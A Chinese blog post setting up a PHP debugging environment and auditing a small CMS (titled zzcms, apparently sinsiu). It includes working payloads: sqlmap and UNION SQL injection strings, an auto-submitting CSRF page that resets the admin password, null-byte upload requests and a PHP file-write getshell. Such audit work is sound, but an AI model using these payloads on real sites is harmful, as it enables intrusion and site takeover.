PHP环境搭建-windows环境搭建&zzcms代码审计

举报
亿人安全 发表于 2023/05/28 21:50:17 2023/05/28
【摘要】 前言在php代码审计过程中,断点调试是很常用的;本文用phpstudy搭建zzcms站点,使用PhpStorm+Xdebug作为断点调试环境;环境操作系统:win10网站集成环境:phpstudy2018IDE:phpStorm + xdebug浏览器;微软新版的Edge浏览器cms:zzcms1、前提:安装好phpstudy2、安装好phpstom3.安装xdebugzzcms站点搭建修改...

前言

在php代码审计过程中,断点调试是很常用的;

本文用phpstudy搭建zzcms站点,使用PhpStorm+Xdebug作为断点调试环境;

环境

操作系统:win10

网站集成环境:phpstudy2018

IDE:phpStorm + xdebug

浏览器;微软新版的Edge浏览器

cms:zzcms

1、前提:安装好phpstudy

2、安装好phpstom

3.安装xdebug

zzcms站点搭建

修改hosts文件,进行本地映射

思路


[XDebug]
xdebug.profiler_output_dir="D:/phpstudy_pro/Extensions/php/php5.3.29nts/ext/php_xdebug.dll" ;optional
xdebug.trace_output_dir="D:/phpstudy_pro/Extensions/php_log/php5.3.29nts.xdebug.trace" ;optional
zend_extension="D:/phpstudy_pro/Extensions/php/php5.3.29nts/ext/php_xdebug.dll"  ;xdebug扩展的位置,每个人可能不一样,必须确定的
xdebug.remote_enable=On ;启动远程调试,必须确定
xdebug.remote_host=127.0.0.1 ;需要调试的远程主机
xdebug.remote_port=9001  ;远程主机与phpstorm通信的端口,必须确定
xdebug.remote_handler=dbgp ;通信协议,optional
xdebug.auto_trace=on ;启用代码自动跟踪,optional
xdebug.idekey=PhpStorm,optional
xdebug.collect_return=On ;收集返回值,optional
xdebug.collect_params=On ;收集参数,optional


审计:

看着界面就知道是用于企业打广告(x)和发布信息,招聘等功能的系统。且存在前台用户登录和后台管理系统。存在搜索功能。

防护策略

伪造 IP 注入过滤

思路:

首先在后台发现有记录用户 IP 的功能:

进入后台

可能出现的漏洞:伪造IP进行注入攻击

数据库监控,在注册的地方看看ip 是否被带入了数据库。

哦豁,会不会有传说中的伪造 IP 地址注入攻击呢 ???使用数据库监测工具,发现在注册用户发表评论的时候。用户的 IP 地址也的确被带入 SQL 语句中查询了:

全局定位到获取用户iP的代码部分:

phpstorm 搜索 获取IP,即可。

include/function.php

可以发现,当ip 除去. 后,如果不是纯数字,那么就设置为 0.0.0.0 。因此通过伪造IP进行注入是行不通了。

xss过滤

结果:

定位到留言函数的代码:

index/module/info_main.php

function add_message()
{
	safe('message');
	global $global,$smarty,$lang;
	$mes_email = post('email');
	$mes_type = post('type');
	$mes_title = post('title');
	$mes_text = post('text');
	$mes_show = post('show');
	if($mes_email == '' || $mes_type == '' || $mes_title == '' || $mes_text == '')
	{
		$info_text = $lang['submit_error_info'];
	}else{
		$mes_add_time = time();
		if($mes_show != '2')
		{
			$mes_show = '0';
		}
		$obj = new message();
		$obj->set_value('mes_user_id',$global['user_id']);
		$obj->set_value('mes_type',$mes_type);
		$obj->set_value('mes_email',$mes_email);
		$obj->set_value('mes_title',$mes_title);
		$obj->set_value('mes_text',$mes_text);
		$obj->set_value('mes_add_time',$mes_add_time);
		$obj->set_value('mes_show',$mes_show);
		$obj->set_value('mes_lang',S_LANG);
		$obj->add();
		if(intval(get_varia('sentmail')))
		{
			$email_title = '您的网站有了新的留言';
			$email_text = "[$mes_type] $mes_title <br /> $mes_text";
			call_send_email($email_title,$email_text,$global['user_id'],$mes_email);
		}
		$info_text = $lang['submit_message'];
	}
	$smarty->assign('info_text',$info_text);
	$smarty->assign('link_text',$lang['go_back']);
	$smarty->assign('link_href',url(array('channel'=>'message')));	
}

我们的输入是被传入了post 函数进行执行,跟进该函数。

右键一个类、方法、函数、变量 -> Go To -> Declaration 可以找到定义这个东西的代码
右键一个类、方法、函数、变量 -> Find Usage 可以找到所有调用了这个东西的代码

//获取post
function post($val,$filter = 'strict')
{
	return $filter(isset($_POST[$val])?$_POST[$val]:'');
}

通过了strict 条件的过滤函数,找到这个的定义处。

include/function.php

可以看到html 的闭合标签被转义了,所以没法XSS

CSRF漏洞

网站有留言板和文章评论,如何存在 CSRF 越权的话可以在评论或者留言处贴构造好的 CSRF 链接,来进行 CSR F 攻击。感觉稳了!定位到相关功能代码:

index/module/user/deal.php

function edit_pwd()
{
    safe('edit_pwd');
    global $global,$smarty,$lang;
    $old_pwd = post('old_pwd');
    $new_pwd = post('new_pwd');
    $re_pwd = post('re_pwd');
    if(strlen($old_pwd) < 6 || strlen($old_pwd) > 15 || strlen($new_pwd) < 6 || strlen($new_pwd) > 15 || $new_pwd != $re_pwd)
    {
        $info_text = $lang['submit_error_info'];
    }else{
        $use_password = md5($old_pwd);
        $obj = new users();
        $obj->set_where('use_id = '.$global['user_id']);
        $obj->set_where("use_password = '$use_password'");
        if($obj->get_count() > 0)
        {
            $use_password = md5($new_pwd);
            $obj->set_value('use_password',$use_password);
    ...
...
}

CSRF 修改用户密码,需要旧密码,行不通。

可控变量过滤

虽然作为一个 CMS,用户可控变量很多,文章浏览等功能不可避免地要进行数据库操作,但是该系统基本上把所以可控变量都给过滤了。

session过滤

使用了 $filter = 'strict' 严格模式,关于 strict 函数细节可以参考文章上面贴的代码:

include/function.php

//获取session
function get_session($name,$filter = 'strict')
{
	if(S_SESSION)
	{
		return $filter(isset($_SESSION[$name])?$_SESSION[$name]:'');
	}else{
		return $filter(isset($_COOKIE[$name])?$_COOKIE[$name]:'');
	}
}

cookie过滤

//设置cookie
function set_cookie($name,$value,$filter = 'strict',$expire = 0)
{
	if($expire == 0)
	{
		setcookie($name,$filter($value));
	}else{
		setcookie($name,$filter($value),$expire);
	}
}

管理员登录过滤

admin/module/info_main.php

function admin_login()
{
    safe('admin_login');
    global $smarty,$lang;
    $username = substr(post('username'),0,30);
    $password = substr(post('password'),0,30);
    if($username == '' || $password == '')
    {
        unset_session('admin_username');
        unset_session('admin_password');
        $info_text = '对不起,用户名和密码不能为空';
        $link_text = '返回重新登录';
    }
  ...
  ...
}

普通用户登录过滤

index/module/info_main.php

function user_login()
{
    safe('user_login');
    global $global,$smarty,$lang;
    $info_text = post('info_text');
    $link_text = post('link_text');
    $link_href = post('link_href');
    $username = post('username');
    $password = post('password');
  ...
  ...
}

大致就这么多防护了,接下来开始真正地来进行漏洞挖掘。

漏洞分析

后台任意文件删除

漏洞分析

漏洞文件:admin/deal.php

deal.php

这里核心看这处代码:

这是个删除文件的函数定义,删除文件用了白名单策略,必须只能删除:

$dir[0] = 'data/backup/';
$dir[1] = 'images/';
$dir[2] = 'resource/';

这 3 个目录下的文件,使用了 substr$path 的 0 位置开始往后判断,只校验了 $path 前面是否在白名单内部,但是却忽略了 白名单后面的路径可能使用../ 的这种形式来穿越目录。

substr 从第$path的第一个字母开始往后判断,截取path前半部分长度和白名单是否相等,即是否是白名单里的那几个目录,是,然后unlink删除掉。

成功删除文件时,返回1。

这里我遇到了一个问题,就是这个域名是通过MAMP修改的本地HOSTS文件解析的,然后找到了一篇文章,

后台盲注

后台删除管理员账号这里存在数字型盲注,下面来看下细节代码:

// admin_id 用户可控 虽然经过post过滤了
$adm_id = post('adm_id');

// post过滤后直接带入数据库操作
$obj->set_where('adm_id = '.$global['admin_id']);

sqlmap.py -u "http://www.siuxiu.com/admin.php?/deal/dir-basic/" --cookie="PHPSESSID=5b9l6u3uhoci165pt09ldaf870;" --data="cmd=del_admin&id=3" -p "id" --technique=T --random-agent -v 3 --tamper="between"

管理员 CSRF

修改管理员密码,没有验证就密码,直接提供新密码,而且没有 Token 验证来防御 CSRF 攻击:

admin/moudle/basic/deal.php

function edit_admin()
{
    global $global,$smarty;
    $adm_id = post('adm_id');
    $adm_password = post('adm_password');
    $re_password = post('re_password');    
    $obj = new admin();
    $obj->set_where('adm_id = '.$global['admin_id']);
    $a = $obj->get_one();
    $obj->set_where('');
    $obj->set_where("adm_id = $adm_id");
    $b = $obj->get_one();
    $success = 0;
    if($obj->get_count())
    {
        if($a['adm_id'] == $b['adm_id'] || $a['adm_grade'] < $b['adm_grade'])
        {
            if(strlen($adm_password) >= 5 && $adm_password == $re_password)
            {
                $obj->set_value('adm_password',md5($adm_password));
                $obj->edit();
                $success = 1;
            }
        }
    }
    if($success)
    {
        $info_text = '修改密码成功';
        $link_text = '返回列表页';
        $link_href = url(array('channel'=>'basic','mod'=>'admin_list'));
    }else{
        $info_text = '修改密码失败';
        $link_text = '返回上一页';
        $link_href = url(array('channel'=>'basic','mod'=>'admin_edit'));
    }
    $smarty->assign('info_text',$info_text);
    $smarty->assign('link_text',$link_text);
    $smarty->assign('link_href',$link_href);
}

同理添加管理员也是这样:

admin/moudle/basic/deal.php

修改管理员密码为:Passw0rd 构造以下 HTML 页面:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.211.55.12/admin.php?/basic/index.html" method="POST">
      <input type="hidden" name="cmd" value="edit&#95;admin" />
      <input type="hidden" name="adm&#95;id" value="1" />
      <input type="hidden" name="adm&#95;password" value="Passw0rd" />
      <input type="hidden" name="re&#95;password" value="Passw0rd" />
    </form>
    <script> document.forms[0].submit(); </script>
  </body>
</html>

下面实际来模拟一下攻击场景

攻击者将上述 html 保存到外网上,引诱管理员点击,然后自动触发 CSRF 攻击:

当管理员在后台 使用当前浏览器去访问这个地址的时候就中招了,这个 html 里面的修改密码表单会自动触发,GG

前台盲注

index/module/search_main.php

<?php
function module_search_main()
{
    global $global,$smarty;
    $global['key'] = rawurldecode($global['key']);
    $obj = new goods();
    $obj->set_field('goo_id,goo_title,goo_x_img');
    $obj->set_where("goo_title like '%" . $global['key'] . "%'");
    $obj->set_where('goo_channel_id = '.get_id('channel','cha_code','goods'));
    $len = get_varia('img_list_len');
    $obj->set_page_size($len ? $len : 12);
    $obj->set_page_num($global['page']);
    $sheet = $obj->get_sheet();
    for($i = 0; $i < count($sheet); $i ++)
    {
        $sheet[$i]['short_title'] = cut_str($sheet[$i]['goo_title'],10);
    }
    set_link($obj->get_page_sum());
    $smarty->assign('search',$sheet);
}
//新秀
?>

先进行url解码。

$global['key'] = rawurldecode($global['key']);

然后就直接带入数据库查询了。

$obj->set_where("goo_title like '%" . $global['key'] . "%'");

漏洞利用:

http://sinsiu:8888/?/search/index.html/key-%27UNION%20ALL%20SELECT%20NULL,NULL,database()--%20-

5.后台上传getshell

涉及到上传的代码都使用了 白名单的文件上传策略,安全性明显要高于黑名单的策略,下面是几处上传的代码,共同特点都使用了 move_uploaded_file 函数来将文件放入到指定目录:

admin/moudle/file/deal.php

function upload()
{
    $dir = post('dir');
    $file = post('file');
    $suffix = strtolower(get_file_name($file,'.'));
    if(strpos('jpg,gif,png,bmp,jpeg,rar,zip,pdf',$suffix) !== false)
    {
        move_uploaded_file($_FILES['file_path']['tmp_name'],$dir.$file);
        set_cookie('file',$dir.$file);
    }
}

admin/moudle/article/deal.php

function upload()
{
    $dir = post('dir');
    $file = post('file');
    $suffix = strtolower(get_file_name($file,'.'));
    if(strpos('jpg,gif,png,bmp,jpeg,rar,zip,pdf',$suffix) !== false)
    {
        move_uploaded_file($_FILES['file_path']['tmp_name'],$dir.$file);
        set_cookie('file',$dir.$file);
    }
}

漏洞利用

move_uploaded_file 函数在 PHP 版本低于 5.3.4 的时候 很容易被 00 截断突破,所以这里的漏洞利用也是理论上利用的,生产环境必须是低版本的 PHP 才可以成功截断 getshell。

本系统有两处上传可以成功,分别是:

  1. 「文件管理」-「资源管理」-「上传文件」
  2. 「文章管理」-「添加下载」-「上传文件」

值得一提的是:「文件管理」-「图片管理」-「上传图片」这里国光并没有实践成功,原因是 admin/moudle/goods/deal.php 代码里面做了其他的限制措施,感兴趣的朋友可以去研究一下。

目录截断

Content-Disposition: form-data; name="cmd"

upload
-----------------------------2022546807425536886877898492
Content-Disposition: form-data; name="dir"

resource/233.php%00
-----------------------------2022546807425536886877898492
Content-Disposition: form-data; name="file"

1.jpg

文件名截断

Content-Disposition: form-data; name="cmd"

upload
-----------------------------2022546807425536886877898492
Content-Disposition: form-data; name="dir"

resource/
-----------------------------2022546807425536886877898492
Content-Disposition: form-data; name="file"

233.php%00.jpg

以上 %00 在 BP 里面得手动 URL 解码,文章中这样写 只是方便展示截断位置(这里又啰嗦了一句 实际上做安全的应该都知道 00 截断的吧)

后台语言设置 Getshell

漏洞分析

admin/moudle/file/deal.php

function edit_lang()
{
    global $smarty,$lang;
    $path = post('path');
    $lang_text = post('lang_text','no_filter');
    file_put_contents($path,$lang_text);
    $smarty->assign('info_text','编辑语言包成功');
    $smarty->assign('link_text','返回上一页');
    $smarty->assign('link_href',url(array('channel'=>'file','mod'=>'lang_edit','path'=>rawurlencode($path))));
}

可以看到 path 路径是经过 post() 函数过滤的,但是 lang_text 过滤的规则是:no_filter 跟进一下这个规则细节:

include/function.php

//不过滤
function no_filter($str)
{
    if(S_MAGIC_QUOTES_GPC)
    {
        $str = stripslashes($str);
    }
    return $str;
}

哦豁,没有过滤就直接执行了 file_put_contents($path,$lang_text); 写文件的操作~下面直接开始漏洞利用吧。

漏洞利用

「文件管理」-「资源管理」-「语言包」-「en-us/zh-cn」-「修改」

接着随便找一个语言包文件来修改,这里以修改 languages/en-us/admin/about.txt 文件为例子:

提交的时候 使用 BP 抓包内容如下:

BASH


cmd=edit_lang&path=languages%2Fen-us%2Fadmin%2Fabout.txt&lang_text=%3C%3Fphp+phpinfo%28%29%3B+%3F%3E

这里的 path 虽然是使用了严格模式过滤,但是我们把 about.txt 改成 xxx.php 是不再过滤规则之内的:

CODE


cmd=edit_lang&path=languages%2Fen-us%2Fadmin%2Fxxx.php&lang_text=%3C%3Fphp+phpinfo%28%29%3B+%3F%3E

语言包这里查看 可以看到编辑语言成功了:

直接访问康康:

成功写入phpinfo文件。

https://www.sqlsec.com/2020/01/sinsiu.html#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-4

https://v0w.top/2020/08/26/CodeAudit-php/#3-3-%E5%90%8E%E5%8F%B0%E8%AF%AD%E8%A8%80%E8%AE%BE%E7%BD%AEGetshell

https://hack-for.fun/844d1b07.html#%E5%90%8E%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%88%A0%E9%99%A4%E6%BC%8F%E6%B4%9E

总结

因为第一次写这种审计的文章,所以写的比较啰嗦了,日后再审计其他系统的分析文章的话 会尽量简洁明了的。最后感谢 Myself' 和 T00ls 的 MoR03r 的指点,解答了代码审计中的一些疑惑。

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。